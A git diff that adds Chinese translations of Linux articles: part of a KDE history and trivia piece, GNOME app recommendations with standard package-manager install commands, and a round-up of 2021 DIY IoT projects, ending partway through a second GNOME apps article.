年的八、九月间,它讨论了 KDE 第一个版本的愿景、未来和路线图。而这最终在 1998 年 7 月 12 日带来了 KDE 1.0 首次发布。 + +KDE 1.0 是建立在 Qt 1.0 之上的,主要是用 C++ 编写的。在我看来,它今天看起来仍然令人惊叹。你可以想象一下,在用户界面、用户交互、以及最重要的 —— 为大众提供一个完美的 Linux 桌面方面,这个愿景是多么先进。 + +![K 桌面环境 1.0][7] + +#### KDE 2.0 + +2000 年 10 月 23 日 KDE 2.0 发布。它首次引入了一套新的应用程序,包括 Konqueror 网页浏览器、KOffice、主题支持、KParts 等。 + +#### 最初获得的奖项 + +2001 年 8 月 29 日,KDE 在 Linux 世界博览会LinuxWorldExpo 被评为“最佳开源项目”,并获得“开源产品卓越奖”。 + +2009 年 7 月 20 日,其开发仓库 SVN 中的源代码抵达了 [第一百万次提交][9]。这的确是一个开源项目的里程碑,它为充满希望的未来铺平了道路。 + +![KDE 源代码中的第 100 万次提交片段][10] + +#### 快进到 Plasma 5.0 + +KDE 软件合集KDE Software Compilation一直使用到 KDE 4.0。在下一个 Plasma 5.0 版本中,它被分割成三个独立的项目:KDE 框架KDE Framework、KDE Plasma 和 KDE 应用KDE Applications。这有助于 KDE Plasma 桌面本身独立于与 KDE 框架、KDE 应用的发布节奏。这种模块化的方法帮助团队分别保持整个生态系统的质量和进度。 + +#### KDE 女性KDE Woman + +KDE 社区的女性小组 [KDE 女性][11] 创建于 2001 年 3 月,目标是增加自由软件社区的女性人数,特别是在 KDE,这包括开发、文档和测试等领域。 + +#### KDE 吉祥物 + +KDE 的官方吉祥物是 [康奇][12]Konqi,它是一条可爱的小龙,它的意思是 “征服者康奇Konqi the Konqueror”(也是其浏览器 Konqueror 的昵称)。Katie 是 Konqi 的女朋友,也是 KDE 项目的官方吉祥物。 + +> Konqi 是科迪山谷KDEValley的在任大使。它善于建造就像它善于破坏一样,而当事情变得越加复杂时,它的爬行动物大脑就混乱了。它在弗洛斯兰Flossland(自由及开源软件大陆)各地旅行,在各个龙族殖民地之间建立联系。它还会从泼泛申瑙海Professional Ocean(专业之海)传信到对面的尤思兰德Userland(用户大陆)。它有时也会做这样的梦,梦见自己成为一只强壮的大龙。这是它过去的生活吗? +> +> —— 关于 Konqi 的官方描述 + +![Konqi - 官方 KDE 吉祥物][13] + +#### KDE 走向更多设备和充满希望的未来的旅程 + +多年来,KDE Plasma 成为各种硬件的首选桌面。2016 年,KDE 与一家西班牙笔记本电脑公司合作,推出了 [KDE Slimbook][14],它是一款安装了 KDE Neon 发行版的超极本,带有 KDE Plasma,预装了 KDE 应用程序。可以从他们的网站上购买。 + +Linux 移动设备先锋 Pine64 在 2020 年推出了 [PinePhone KDE 版][15],它带有 KDE Plasma 移动版。 + +Valve 公司宣布他们的手持游戏机 Steam Deck 采用了 [KDE Plasma][16],运行于 [Arch Linux][17] 之上。 + +![Slimbook 1][18] + +### 结语 + +那么,就写到这里吧。这是一些你可能不知道的 KDE 的趣闻。从 KDE 1.0 的那一天起,到今天,它出现在一个简单而强大的由 KDE 驱动的手持游戏设备里,这确实是一个漫长而多彩的旅程。我相信,在未来的日子里,KDE 生态系统一定会发生更多这样令人激动的事件。 + +你还知道没有在这里列出的 KDE 趣闻吗?请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/12/kde-facts-trivia/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://en.wikipedia.org/wiki/Matthias_Ettrich +[2]: https://sourceforge.net/projects/cdesktopenv/ +[3]: https://groups.google.com/g/de.comp.os.linux.misc/c/SDbiV3Iat_s/m/zv_D_2ctS8sJ +[4]: https://www.debugpoint.com/wp-content/uploads/2021/12/KDE-Facts-and-Trivia-The-First-Announcement-1024x528.jpg +[5]: https://dot.kde.org/2016/01/13/qt-guaranteed-stay-free-and-open-%E2%80%93-legal-update +[6]: https://community.kde.org/KDE_Project_History/KDE_One_(Developer_Meeting) +[7]: https://www.debugpoint.com/wp-content/uploads/2021/12/K-Desktop-Environment-1.0.jpg +[8]: https://www.debugpoint.com/2020/07/kaos-2020-07-release/ +[9]: https://marc.info/?l=kde-commits&m=124811211002267&w=2 +[10]: https://www.debugpoint.com/wp-content/uploads/2021/12/Snippet-of-the-Millionth-Commit-in-KDE-Source-Code.jpg +[11]: https://community.kde.org/KDE_Women +[12]: https://community.kde.org/Konqi +[13]: https://www.debugpoint.com/wp-content/uploads/2021/12/Konqi-The-Official-KDE-Mascot.jpg +[14]: https://kde.slimbook.es/ +[15]: https://www.debugpoint.com/2020/11/pinephone-kde-community-edition-plasma-mobile/ +[16]: https://www.debugpoint.com/tag/kde-plasma +[17]: https://www.debugpoint.com/tag/arch-linux +[18]: https://www.debugpoint.com/wp-content/uploads/2020/07/Slimbook-1-1024x576.jpg +[19]: https://t.me/debugpoint +[20]: https://twitter.com/DebugPoint +[21]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[22]: https://facebook.com/DebugPoint diff --git a/published/202202/20211212 10 Best Apps to Improve Your GNOME Experience -Part 1.md b/published/202202/20211212 10 Best Apps to Improve Your GNOME Experience -Part 1.md new file mode 100644 index 0000000000..a939dd8f09 --- /dev/null +++ b/published/202202/20211212 10 Best Apps to Improve Your GNOME Experience -Part 1.md @@ -0,0 +1,304 @@ +[#]: subject: "10 Best Apps to Improve Your GNOME Experience [Part 1]" +[#]: via: "https://www.debugpoint.com/2021/12/best-gnome-apps-part-1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14289-1.html" + +10 个提升 GNOME 体验的最佳应用程序(一) +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/20/171444jog8og4fy1j4eo0h.jpg) + +> 我们将给你详细介绍 10 个最好的 GNOME 应用程序,它们可以帮助你在这个神奇的桌面上顺滑地工作。 + +网上有数百个基于 GTK 的应用程序,它们大多没什么名声,不那么流行。这些应用程序被设计用来简化你的 GNOME 桌面体验,提供原生应用程序的感受。本系列文章的目的是为了提高这些应用程序的普及率,同时鼓励更多的用户参与和开发。 + +在这个《最佳 GNOME 应用程序》的系列文章中,我们将重点介绍一些或已知道、或不知道的基于 GTK 的原生应用程序,它们是专门为 GNOME 增加功能设计的。 + +在这篇文章中,我们介绍了以下 GNOME 应用程序: + + * Geary - 电子邮件客户端 + * Notejot - 简易笔记 + * Hydrapaper - 支持多显示器的墙纸 + * Solanum - 番茄时钟客户端 + * Cawbird - Twitter 客户端 + * News Flash - RSS 阅读器 + * Fragments - BitTorrent 客户端 + * MetadataCleaner - 清洁各种文件的元数据 + * Kooha - 屏幕记录器 + * Metronome - 节拍器 + +### Geary - 电子邮件客户端 + +当提到 [Linux 桌面上的原生电子邮件客户端][14] 时,大家想到的都是 Thunderbird。然而,如果你想在电子邮件客户端中获得更多的原生感受,那么你可以试试 Geary。Geary 是一个基于 GTK+ 的电子邮件客户端,它带给你的功能包括对话视图、邮件合并、只需两步的轻松设置、支持 IMAP/SMTP、用于撰写邮件的富文本编辑器以及许多很酷的功能。 + +你可以轻松地将其配置为你的默认电子邮件客户端,并用自定义配置选项来设置主要的电子邮件服务提供商,如 Gmail、雅虎、Outlook。 + +![Geary 电子邮件客户端][15] + +下面是你如何安装它的方法。 + +- 适用于 Debian/Ubuntu:`sudo apt install geary` +- 适用于 Fedora 和相关发行版:`sudo dnf install geary` +- [设置][16] Flatpak,然后 [通过 Flathub 安装][17] + +更多信息: + + * [主页][18] + * [源代码][19] + +#### Notejot - 简单笔记 + +想要一个“超简单”的 GNOME 记事本应用?那么 Notejot 就是你正在寻找的应用程序。这款灵巧的记事应用程序以其精心制作的直观的单窗口用户界面而显得非常出色。这款应用程序带来的功能包括多个笔记、笔记本功能、彩色笔记、标准文本格式等。这是一个完美的 GNOME 记事小程序。 + +![超简单的记事应用程序 Notejot][20] + +- [设置][16] Flatpak,然后 [通过 Flathub 安装][64] + +更多信息: + + * [源代码][21] + +#### Hydrapaper - 用于多显示器的壁纸更换器 + +这个 GTK 应用程序对于那些使用多显示器的人来说是一个福音。当你把多个显示器连接到一个系统时,所有的显示器都会显示相同的壁纸。但是如果你想在这些显示器上显示不同的图片,那么你可以使用这个叫做 Hydrapaper 的应用程序。这个 GTK 应用程序,很好地集成到了 GNOME 桌面,并为你提供了以下功能: + + * 预览显示器的 ID 和它们所显示的内容 + * 添加你的图片文件夹并在应用程序中浏览 + * 收藏选项可以快速选择你最喜欢的一个壁纸 + * 五种壁纸模式(缩放、黑色背景的适合/居中、模糊背景的适合/居中)。 + * 随机壁纸模式 + * 命令行选项,可以通过脚本来扩展它 + +![Hydrapaper - 多个屏幕的壁纸][22] + +下面是如何安装这个应用程序。 + +- 适用于 Debian/Ubuntu:`sudo apt install hydrapaper` +- 适用于 Fedora 和相关发行版:`sudo dnf install hydrapaper` +- Arch 用户可以在 [设置 yay][23] 后通过 AUR 安装它:`yay -S hydrapaper-git` +- 你也可以在 [设置][16] 好 Flatpak 之后,[通过 Flathub 安装][24] + +更多信息: + + * [主页][25] + * [源代码][26] + +#### Solanum - 番茄时钟客户端 + +下一个 GNOME 应用程序叫做 Solanum,它是一个基于 [番茄时钟技术][27] 的时间跟踪应用程序。该技术是将你的时间分成 25 分钟的小块,间隔有 5 分钟的休息时间,这被称为一个“番茄Pomodoro”。4 个番茄之后,你可以休息更长时间。 + +这个应用程序可以帮助你做到这一点。Solanum 有一个非常简单的用户界面,在一个带有计时器的圈中显示“番茄”。切换“开始/停止”按钮帮助管理你的时间。这是一个非常有用的工具,特别是如果你在管理时间方面面临困难。 + +![Solanum][28] + +下面是如何安装它的方法。 + +- 你可以在 [设置][16] 之后,[通过 Flathub 安装][29] + +更多信息: + + * [主页][30] + * [源代码][31] + +#### Cawbird - Twitter 客户端 + +[Cawbird][32] 是一个基于 GTK 的 Twitter 客户端,用于 GNOME 桌面。它是那个在 Twitter API 变化后停止使用的 [Corebird][33] 的一个复刻。这款应用非常适合你的 GNOME 桌面,并且拥有 Twitter 网站的所有功能。从资源上看,它是轻量级的。如果你是 Twitter 的忠实用户,那么你可以试试这个应用。 + +![Cawbird - 一个原生的 Twitter GNOME 应用][34] + +以下是安装步骤。 + +- Ubuntu/Debian,请使用 openSUSE 提供的 [预编译 DEB 包][35] +- Fedora 及相关发行版:`sudo dnf install cawbird` +- 对于 Arch Linux,你可以通过以下方式安装它:`pacman -Syu cawbird` +- [以 Flatpak 方式安装][36] +- [以 Snap 方式安装][37] + +更多信息: + + * [主页][32] + * [源代码][38] + +#### News Flash - RSS 阅读器 + +News Flash 是最好的 GNOME 应用程序之一,用于阅读你喜爱的网站的 RSS 提要。这个应用程序对你的 GNOME 桌面来说是完美的,因为它提供了很多功能。它能为你的新消息、未读消息提供弹出式通知,支持深色模式等。下面是对其功能的快速总结: + +也许最令人兴奋的功能是能够直接在应用程序本身内部阅读文章,即使该 内容源feed 不提供完整文章。它会试图从 URL 中获取文本,并在应用程序窗口中显示(没有图像)。 + + * 集成了流行的内容源 + * 用 OPML 导入和导出内容源 + * 支持暗色模式 + * 读者模式 + * 书签、搜索、导出文章选项 + * 在设置中给你提供应用程序使用了多少磁盘空间来存储内容源的详细信息。 + +![News Flash:管理内容源的最佳 GNOME 应用程序之一][39] + +有兴趣吗?下面是如何安装的方法。 + +- 在 [初始设置][16] 之后,[通过 Flathub 安装][40] +- 如果你在 Arch Linux 中,你可以 [设置 Yay AUR 助手][23],然后使用下面的命令来安装:`yay -S newsflash` + +更多信息: + + * [主页][41] + * [源代码][42] + +#### Fragments - BitTorrent 客户端 + +Fragments 是一个简单的 BitTorrent 桌面客户端,构建在 GTK 上。虽然我们已经有了 Transmission 这个完美的 BitTorrent 客户端,它有独立的 GTK 和 QT 用户界面。但在 GNOME 桌面上有一个更简单的 BitTorrent 客户端也无妨,对吗?Fragments 有一个简单的界面,符合 GNOME 设计准则,并提供了 BitTorrent 客户端所需的所有功能。它也支持磁力链。 + +![Fragments:GNOME 桌面的 BitTorrent 客户端][43] + +下面是如何安装的方法。 + +- 最好的安装方式是在 [设置][16] Flathub 软件仓库之后,[通过 Flathub 安装][44] + +更多信息: + + * [主页][45] + * [源代码][46] + +#### MetadataCleaner - 从各种文件中清理元数据 + +有没有遇到过这样的情况:你需要从文件中删除某些信息,比如由谁创建,或者通过什么软件创建。例如,如果你有一张用 GIMP 创建的图片,该文件包含一个默认的文本(除非你删除它):“由 GIMP 创建”。另外,图片可能包含位置细节、时间戳、相机信息等等。而删除这些信息需要一些特定的应用程序,并需付出额外的努力。 + +MetedataCleaner 应用程序就是做这个的。它可以帮助你从文件中删除这些信息。当你用这个应用程序打开一个文件时,它会读取并给你一个元数据的列表。你所需要做的就是点击“清洁Clean”按钮,然后你就有了清理过的文件。对于 GNOME 来说,这样一个有用的工具。 + +![Metadata Cleaner][47] + +这个应用程序的安装步骤如下。 + +- 最好的安装方法是在 [设置][16] Flathub 软件仓库之后,[通过 Flathub 安装][48] + +更多信息: + + * [主页][49] + * [源代码][50] + +#### Kooha - 屏幕录像机 + +如果你正在为 GNOME 桌面寻找一个快速而简单的屏幕录像机,那么不妨试试 Kooha。这个应用程序是最好的 GNOME 应用程序之一,提供轻松的记录体验。这个工具支持硬件加速、定时器、多源输入和许多高级功能。下面是功能摘要: + + * 可选择多显示器中任一显示器或任何窗口 + * 硬件加速的编码 + * 可选择录制屏幕的区域 + * 记录麦克风和电脑的声音 + * 记录的延迟定时器 + * 支持 WebM、mp4、gif、mkv 文件类型 + +![Kooha - GNOME 最佳屏幕录制器][51] + +下面是安装方法。 + +- 最好的安装方式是在 [设置][16] Flathub 软件仓库之后,[通过 Flathub 安装][52] + +更多信息: + + * [主页][53] + * [源代码][54] + +#### Metronome - 节拍器 + +节拍器,最初是 [一种古老的设备][55],它以每分钟节拍的恒定间隔产生一些可听的短促声音。这对于需要保持一致的动作、活动,并且不失去注意力的加速或减速的任务很有用。 + +因此,这个名为 Metronome 的 GNOME 应用程序是一个软件版的设备,可以帮助你保持你的活动和注意力。这是音乐家们专门用来练习演奏的,以固定的时间间隔来保持一致。 + +![GNOME 的节拍器][56] + +下面是安装的方法。 + +- 最好的安装方法是在 [设置][16] Flathub 软件仓库之后,[通过 Flathub 安装][57] + +更多信息: + + * [主页][58] + * [源代码][59] + +### 总结 + +这就是 10 个最好的 GNOME 应用程序列表,可以扩展你的桌面体验。感谢 Flatpak,不仅在 GNOME,你还可以在 KDE Plasma 或 Xfce 或任何其他桌面上使用它们。我希望这些用于 GNOME 桌面的应用程序可以变得更加流行,使用率也会增加。 + +你最喜欢的 GNOME 应用程序是什么,请在下面的评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/12/best-gnome-apps-part-1/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2021/12/best-gnome-apps-part-2/ +[2]: https://www.debugpoint.com/2022/01/best-gnome-apps-part-3/ +[3]: https://www.debugpoint.com/2022/02/best-gnome-apps-part-4/ +[4]: tmp.SdvbWYqKsq#geary +[5]: tmp.SdvbWYqKsq#notejot +[6]: tmp.SdvbWYqKsq#hydrapaper +[7]: tmp.SdvbWYqKsq#solanum +[8]: tmp.SdvbWYqKsq#cawbird +[9]: tmp.SdvbWYqKsq#news-flash +[10]: tmp.SdvbWYqKsq#fragments +[11]: tmp.SdvbWYqKsq#metadata-cleaner +[12]: tmp.SdvbWYqKsq#kooha +[13]: tmp.SdvbWYqKsq#metronome +[14]: https://www.debugpoint.com/2019/06/best-email-client-linux-windows/ +[15]: https://www.debugpoint.com/wp-content/uploads/2021/12/Geary-Email-Client-for-GNOME.jpg +[16]: https://flatpak.org/setup/ +[17]: https://flathub.org/repo/appstream/org.gnome.Geary.flatpakref +[18]: https://wiki.gnome.org/Apps/Geary +[19]: https://gitlab.gnome.org/GNOME/geary +[20]: https://www.debugpoint.com/wp-content/uploads/2021/12/Stupidly-Simple-Note-Taking-App-Notejot.jpg +[21]: https://github.com/lainsce/notejot +[22]: https://www.debugpoint.com/wp-content/uploads/2021/12/Hydrapaper-Wallpaper-for-Multiple-Screens-1024x689.jpg +[23]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[24]: https://flathub.org/apps/details/org.gabmus.hydrapaper +[25]: https://hydrapaper.gabmus.org/ +[26]: https://gitlab.gnome.org/gabmus/hydrapaper +[27]: https://en.wikipedia.org/wiki/Pomodoro_Technique +[28]: https://www.debugpoint.com/wp-content/uploads/2021/12/Solanum.jpg +[29]: https://dl.flathub.org/repo/appstream/org.gnome.Solanum.flatpakref +[30]: https://apps.gnome.org/app/org.gnome.Solanum/ +[31]: https://gitlab.gnome.org/World/Solanum +[32]: https://ibboard.co.uk/cawbird/ +[33]: https://corebird.baedert.org/ +[34]: https://www.debugpoint.com/wp-content/uploads/2021/12/Cawbird-A-Native-GNOME-App-for-Twitter.jpg +[35]: https://software.opensuse.org//download.html?project=home%3AIBBoard%3Acawbird&package=cawbird +[36]: https://flathub.org/apps/details/uk.co.ibboard.cawbird +[37]: https://snapcraft.io/cawbird +[38]: https://github.com/IBBoard/cawbird +[39]: https://www.debugpoint.com/wp-content/uploads/2021/12/News-Flash-One-of-the-best-GNOME-App-for-Managing-Feeds-1024x618.jpg +[40]: https://flathub.org/apps/details/com.gitlab.newsflash +[41]: https://apps.gnome.org/app/com.gitlab.newsflash/ +[42]: https://gitlab.com/news-flash/news_flash_gtk +[43]: https://www.debugpoint.com/wp-content/uploads/2021/12/Fragments-Torrent-Client-for-GNOME-Desktop.jpg +[44]: https://flathub.org/apps/details/de.haeckerfelix.Fragments +[45]: https://apps.gnome.org/app/de.haeckerfelix.Fragments/ +[46]: https://gitlab.gnome.org/World/Fragments +[47]: https://www.debugpoint.com/wp-content/uploads/2021/12/Metadata-Cleaner.jpg +[48]: https://flathub.org/apps/details/fr.romainvigier.MetadataCleaner +[49]: https://metadatacleaner.romainvigier.fr/ +[50]: https://gitlab.com/rmnvgr/metadata-cleaner/ +[51]: https://www.debugpoint.com/wp-content/uploads/2021/12/Kooha-Best-Screen-Recoder-for-GNOME.jpg +[52]: https://flathub.org/apps/details/io.github.seadve.Kooha +[53]: https://apps.gnome.org/app/io.github.seadve.Kooha/ +[54]: https://github.com/SeaDve/Kooha +[55]: https://en.wikipedia.org/wiki/Metronome +[56]: https://www.debugpoint.com/wp-content/uploads/2021/12/Metronome-for-GNOME.jpg +[57]: https://flathub.org/apps/details/com.adrienplazas.Metronome +[58]: https://apps.gnome.org/app/com.adrienplazas.Metronome/ +[59]: https://gitlab.gnome.org/World/metronome +[60]: https://t.me/debugpoint +[61]: https://twitter.com/DebugPoint +[62]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[63]: https://facebook.com/DebugPoint +[64]: https://dl.flathub.org/repo/appstream/io.github.lainsce.Notejot.flatpakref \ No newline at end of file diff --git a/published/202202/20220102 10 DIY IoT projects to try using open source tools.md b/published/202202/20220102 10 DIY IoT projects to try using open source tools.md new file mode 100644 index 0000000000..b4ff031a21 --- /dev/null +++ b/published/202202/20220102 10 DIY IoT projects to try using open source tools.md @@ -0,0 +1,86 @@ +[#]: via: "https://opensource.com/article/22/1/open-source-internet-of-things" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lujun9972" +[#]: translator: "CN-QUAN" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14238-1.html" + +2021 总结:10 个值得尝试的 DIY 物联网项目 +====== + +> 在 2021 年,我们的作者们多次分享了他们关于各种物联网项目的专业知识。 + +![](https://img.linux.net.cn/data/attachment/album/202202/03/141552nxzj9alj5z7y5eyz.jpg) + +物联网(IoT)是计算领域的一个令人着迷的发展方向。互联智能设备、家庭自动化以及相关的发展领域正在产生许多有趣的项目。在 2021 年,我们的作者们多次分享了他们关于各种物联网项目的专业知识。以下是十大最佳物联网文章。 + +### 如何使用你选择的声音定制你的语音助手 + +在这篇由 Rich Lucente 撰写的这篇文章中 [了解 Nana and Poppy 项目][2]。Nana and Poppy 项目是 Rich Lucente 为人工智能语音助手创建自定义问候的开源项目。他描述了整个过程,从录制必要的音频片段到编写代码将这些片段组合成完整的问候语。成品是五个送给曾祖父母和祖父母的定制语音助手,他们现在无论何时与语音助手互动都能听到孙辈的声音。 + +### 用树莓派和 Prometheus 监测你家的温湿度 + +Chris Collins 描述了他如何 [利用 Prometheus 监测家中的温度和湿度][3]。他提供了关于在树莓派操作系统上安装 Prometheus、检测 Prometheus 应用程序、设置 systemd 单元和日志记录等方面的详细说明,以创建用于监控温度和湿度数据的工具。本文建立在 Chris 以前写的一篇文章的基础上,这篇文章是这个系列的下一篇文章。 + +### 用树莓派在家里设置温度传感器 + +学习如何通过使用树莓派、DHT22 数字传感器和一些 Python 代码 [设置温度传感器][4]。在本文中,Chris Collins 解释了如何将传感器连接到树莓派,安装 DHT 传感器软件,并使用 Python 脚本获取传感器数据。他最后调侃说,未来的文章将更多地自动化从该设备收集数据,这是本列表中的前一篇文章。 + +### 用智能手机远程控制你的树莓派 + +Stephan Avenwede 解释了如何 [使用你的智能手机来控制树莓派的 GPIO][5]。本教程描述了如何安装和使用 Pythonic 来使用 Telegram 通过网络连接控制树莓派。在写这篇文章时,他并没有考虑到具体的最终项目,因此本文提供了广泛的指导,你可以将其应用于许多项目。Stephan 建议的一些可能的项目包括草坪灌溉和车库开门器。 + +### 家庭自动化项目为什么选择开源 + +Alan Smithee 在本文中 [介绍了家庭自动化电子书][6]。这本电子书包含了与家庭自动化相关的内容。Alan 的文章概述了为什么技术能让每个人的生活变得更好,并提供了一个下载电子书的链接。 + +### 用 Grafana Cloud 监控你的树莓派 + +在 Matthew Helmke 的这篇教程中,了解如何 [用 Grafana Cloud 监控你的树莓派][7]。该项目使用树莓派、Prometheus 时间序列数据库和 Grafana Cloud 帐户。Matthew 解释了如何在树莓派上安装 Prometheus,并将其连接到 Grafana Cloud,为你的树莓派提供监控。 + +### 一种新的嵌入式开源操作系统 + +Zhu Tianlong 提供了 [RT-Thread 智能操作系统简介][8]。本文解释了什么是 RT-Thread Smart,谁可能需要使用它,以及它是如何工作的。本文中还有一个章节对 RT-Thread Smart 和 RT Thread 进行了对比。 + +### 使用 Rust 进行嵌入式开发 + +本文由 Alan Smithee 撰写,Liu Kang 供稿,介绍了 [使用 Rust 进行嵌入式开发][9]。这个包含大量代码的教程展示了如何在 C 中调用 Rust,以及如何在 Rust 中调用 C。这里有大量使用 Rust 工具(如 Cargo)进行开发的代码示例和详细说明。 + +### 开源 Linux 边缘开发入门 + +Daniel Oh 解释了如何使用 Quarkus 云原生 Java 框架来 [开始边缘开发][10]。Daniel 首先简要介绍了他在教程中使用的操作系统 CentOS Stream。然后他介绍了教程的三个主要步骤: + +* 将物联网数据发送到轻量级消息代理。 +* 使用 Quarkus 处理反应性数据流。 +* 监控实时数据通道。 + +### 什么是雾计算? + +你可能听说过云计算,但是 [什么是雾计算][11]?Seth Kenlon 将雾计算fog computing描述为“云的外部‘边缘’”——由手机、手表和其他组成物联网的各种设备组成。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/open-source-internet-of-things + + +作者:[Joshua Allen Holm][a] +选题:[lujun9972][b] +译者:[CN-QUAN](https://github.com/CN-QUAN) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_BUS_Apple_520.png?itok=ZJu-hBV1 (collection of hardware on blue backround) +[2]: https://opensource.com/article/21/1/customize-voice-assistant +[3]: https://opensource.com/article/21/7/home-temperature-raspberry-pi-prometheus +[4]: https://opensource.com/article/21/7/temperature-sensors-pi +[5]: https://opensource.com/article/21/9/raspberry-pi-remote-control +[6]: https://opensource.com/article/21/6/home-automation-ebook +[7]: https://opensource.com/article/21/3/raspberry-pi-grafana-cloud +[8]: https://opensource.com/article/21/7/rt-thread-smart +[9]: https://opensource.com/article/21/10/rust-embedded-development +[10]: https://opensource.com/article/21/5/edge-quarkus-linux +[11]: https://opensource.com/article/21/5/fog-computing diff --git a/published/202202/20220111 10 Perfect Apps to Improve Your GNOME Experience -Part 2.md b/published/202202/20220111 10 Perfect Apps to Improve Your GNOME Experience -Part 2.md new file mode 100644 index 0000000000..0ecc43e803 --- /dev/null +++ b/published/202202/20220111 10 Perfect Apps to Improve Your GNOME Experience -Part 2.md @@ -0,0 +1,321 @@ +[#]: subject: "10 Perfect Apps to Improve Your GNOME Experience [Part 2]" +[#]: via: "https://www.debugpoint.com/2021/12/best-gnome-apps-part-2/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14307-1.html" + +10 个提升 GNOME 体验的最佳应用程序(二) +====== + +> 这是下一组 GNOME 应用程序,非常适合于你的 GNOME 桌面。它的范围包括游戏、实用工具和生产力。 + +![](https://img.linux.net.cn/data/attachment/album/202202/26/125834us3qnss5qhlwx9z6.jpg) + +有许多原生的 GNOME 应用程序散落在各地,但用户完全不知道。它们出乎意料地好,并且完美地完成了它的工作。这些应用程序没有办法通过 GNOME 自己的应用程序商店顺利找到,因为,GNOME 应用程序网站并没有将它们全部列出。 + +也就是说,我们正在继续一个 GNOME 应用程序的发现系列,使这些应用程序变得流行。变得流行是增加知名度和社区贡献的一个好方法。显然,这些应用程序的质量也会得到提高,因为有更多的错误被报告和修复。 + +在这个《最佳 GNOME 应用程序》系列文章中,我们将重点介绍一些或已知道、或不知道的基于 GTK 的原生应用程序,它们是专门为 GNOME 增加功能设计的。 + +在这篇文章中,我们介绍了以下完美的 GNOME 应用程序: + + * Flatseal - 管理 Flatpak 应用程序的权限 + * Junction - 选择应用程序,以便即时打开文件/链接 + * Blanket - 提高生产力 + * Mousai - 发现音乐(像 Shazam 一样) + * Shortwave - 网络电台 + * Health - 健康参数跟踪器 + * Dialect - GNOME 的翻译应用 + * Video Trimmer - 一个超快的视频分割器 + * Console - 一个新的极简的 GNOME 终端 + * Crosswords for GNOME - 一个填字游戏 + +### Flatseal - 管理 Flatpak 应用程序的权限 + +这个 GNOME 应用程序非常适合 Flatpak 应用程序的重度用户。Flatpak 应用程序在设计上是以沙盒模式运行的。这意味着,它们默认不能访问宿主机系统组件。例如,一个 Flatpak 应用程序可能无法访问你的 Wi-Fi 或主目录。但是,如果一个应用程序为你提供了一个漂亮的 GUI 来管理已安装的 Flatpak 应用程序的所有访问权限呢? + +Flatseal 就是这样做的。它列出了你安装的 Flatpak 应用程序,并为你提供了漂亮的用户界面,以授予或删除所有 Flatpak 应用程序的访问权限。如果你正在使用 GNOME 桌面,这个简单易用的应用程序是必备的。 + +下面是它的外观和安装步骤。 + +![Flatseal 显示应用程序及其权限的列表][14] + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 仓库安装 Flatseal][16] + +更多信息: + + * [源代码和开发][17] + * [文档][18] + +### Junction - 选择应用程序,以便即时打开文件/链接 + +下一个应用程序是文件的“用……打开”功能的扩展版本。通常情况下,每个文件的扩展名都与一个特定的程序绑定,以便在操作系统中打开它们。你可以在 GNOME 的设置中随时改变它。例如,.txt(文本)文件总是通过 Gedit 打开。 + +当你使用这个叫做 Junction 的应用程序,并试图打开任何链接或文件时,它会弹出一个单独的菜单,其中有应用程序的图标,以打开该链接或文件。 + +例如,如果你试图打开一个 PNG 文件,它会给你提供选项,让你用操作系统中安装的所有可用的图形应用程序打开该图像文件。 + +![Junction GNOME 应用程序显示打开图像的应用程序的选项][19] + +有兴趣吗?下面是如何安装的。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的链接,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 Junction][20] + +更多信息: + + * [主页][21] + * [源代码][22] + +### Blanket - 提高你的注意力和生产力 + +这是我最喜欢的 GNOME 桌面的应用程序。想听雨声吗?或者鸟儿的歌唱?波浪声?这些自然界的声音有助于集中精力,提高你的注意力。甚至那些有助于你在嘈杂的环境中工作或入睡。 + +这个应用程序 - Blanket 预装了这些声音。你只需要安装并点击播放,就可以享受平静和安宁的音乐。 + +默认情况下,它给你很多选择: + + * 下雨 + * 暴风雨 + * 风声 + * 波浪 + * 溪流 + * 鸟鸣 + * 夏夜 + * 火车 + * 船 + * 城市 + * 咖啡馆 + * 壁炉 + * 粉红噪音和白噪声 + +哦,你也可以添加你自己的自定义音乐(mp3、wav、ogg)并播放。 + +![使用 Blanket 镇定你的心][23] + +我相信你一定想安装这个应用程序。现在你可以这样安装。 + +为你的 Linux 发行版 [设置 Flatpak][15]。然后点击下面的按钮,启动自带的软件管理器进行安装(如“软件Software”或“发现Discover”)。 + +- [通过 Flathub 安装 